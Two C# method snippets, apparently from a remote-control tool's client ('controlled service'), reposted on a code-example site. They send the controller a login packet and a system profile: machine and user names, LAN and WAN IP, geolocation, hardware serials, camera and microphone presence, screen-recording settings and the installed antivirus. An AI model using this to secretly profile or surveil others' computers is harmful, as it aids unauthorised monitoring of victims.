private void SendLoginPack(TcpSocketSaeaSession session)
        {
            string remarkInfomation = AppConfiguartion.RemarkInfomation ?? AppConfiguartion.DefaultRemarkInfo;
            string groupName        = AppConfiguartion.GroupName ?? AppConfiguartion.DefaultGroupName;
            bool   openScreenWall   = AppConfiguartion.IsOpenScreenView; //默认为打开屏幕墙
            bool   openScreenRecord = AppConfiguartion.IsScreenRecord;   //默认屏幕记录

            var loginPack = new LoginPack();

            loginPack.IPV4              = SystemInfoHelper.GetLocalIPV4();
            loginPack.MachineName       = Environment.MachineName ?? "";
            loginPack.Remark            = remarkInfomation;
            loginPack.ProcessorCount    = Environment.ProcessorCount;
            loginPack.ProcessorInfo     = SystemInfoHelper.GetMyCpuInfo;
            loginPack.MemorySize        = SystemInfoHelper.GetMyMemorySize;
            loginPack.StartRunTime      = AppConfiguartion.RunTime;
            loginPack.ServiceVison      = AppConfiguartion.Version;
            loginPack.UserName          = Environment.UserName.ToString();
            loginPack.OSVersion         = SystemInfoHelper.GetOSFullName;
            loginPack.GroupName         = groupName;
            loginPack.OpenScreenWall    = openScreenWall;
            loginPack.ExistCameraDevice = SystemInfoHelper.ExistCameraDevice();
            loginPack.ExitsRecordDevice = SystemInfoHelper.ExistRecordDevice();
            loginPack.ExitsPlayerDevice = SystemInfoHelper.ExistPlayDevice();
            loginPack.IdentifyId        = AppConfiguartion.IdentifyId;
            loginPack.OpenScreenRecord  = openScreenRecord;
            loginPack.RecordHeight      = _screen_record_height;
            loginPack.RecordWidth       = _screen_record_width;
            loginPack.RecordSpanTime    = _screen_record_spantime;
            loginPack.HasLoadServiceCOM = true;//已加载

            SendTo(session, MessageHead.C_MAIN_LOGIN, loginPack);
        }
Exemplo n.º 2
0
        public void GetSystemInfosHandler(TcpSocketSaeaSession session)
        {
            ThreadHelper.ThreadPoolStart(c =>
            {
                GeoLocationHelper.Initialize();

                var infos = new List <SystemInfoItem>();
                infos.Add(new SystemInfoItem()
                {
                    ItemName = "主板序列号",
                    Value    = SystemInfoHelper.BIOSSerialNumber
                });
                infos.Add(new SystemInfoItem()
                {
                    ItemName = "网卡MAC",
                    Value    = SystemInfoHelper.GetMacAddress
                });
                infos.Add(new SystemInfoItem()
                {
                    ItemName = "驱动器存储信息",
                    Value    = SystemInfoHelper.GetMyDriveInfo
                });
                infos.Add(new SystemInfoItem()
                {
                    ItemName = "运行目录",
                    Value    = Application.ExecutablePath
                });
                infos.Add(new SystemInfoItem()
                {
                    ItemName = "系统版本号",
                    Value    = Environment.Version.ToString()
                });
                infos.Add(new SystemInfoItem()
                {
                    ItemName = "启动毫秒",
                    Value    = Environment.TickCount.ToString()
                });
                infos.Add(new SystemInfoItem()
                {
                    ItemName = "登录账户",
                    Value    = Environment.UserName
                });
                infos.Add(new SystemInfoItem()
                {
                    ItemName = "被控服务启动时间",
                    Value    = AppConfiguartion.RunTime
                });
                infos.Add(new SystemInfoItem()
                {
                    ItemName = "系统版本",
                    Value    = SystemInfoHelper.GetOSFullName
                });
                infos.Add(new SystemInfoItem()
                {
                    ItemName = "系统核心数",
                    Value    = Environment.ProcessorCount.ToString()
                });

                infos.Add(new SystemInfoItem()
                {
                    ItemName = "CPU信息",
                    Value    = SystemInfoHelper.GetMyCpuInfo
                });

                infos.Add(new SystemInfoItem()
                {
                    ItemName = "系统内存",
                    Value    = (SystemInfoHelper.GetMyMemorySize / 1024 / 1024) + "MB"
                });

                infos.Add(new SystemInfoItem()
                {
                    ItemName = "计算机名称",
                    Value    = Environment.MachineName
                });

                infos.Add(new SystemInfoItem()
                {
                    ItemName = "被控服务版本",
                    Value    = AppConfiguartion.Version
                });
                infos.Add(new SystemInfoItem()
                {
                    ItemName = "WAN IP",
                    Value    = GeoLocationHelper.GeoInfo.Ip
                });
                infos.Add(new SystemInfoItem()
                {
                    ItemName = "LAN IP",
                    Value    = SystemInfoHelper.GetLocalIPV4()
                });
                infos.Add(new SystemInfoItem()
                {
                    ItemName = "安全软件",
                    Value    = SystemInfoHelper.GetAntivirus()
                });
                infos.Add(new SystemInfoItem()
                {
                    ItemName = "国家",
                    Value    = GeoLocationHelper.GeoInfo.Country
                });
                infos.Add(new SystemInfoItem()
                {
                    ItemName = "ISP",
                    Value    = GeoLocationHelper.GeoInfo.Isp
                });
                infos.Add(new SystemInfoItem()
                {
                    ItemName = "GPU",
                    Value    = SystemInfoHelper.GetGpuName()
                });
                var sysInfos         = new SystemInfoPack();
                sysInfos.SystemInfos = infos.ToArray();
                SendTo(CurrentSession, MessageHead.C_SYSTEM_SYSTEMINFO, sysInfos);
            });
        }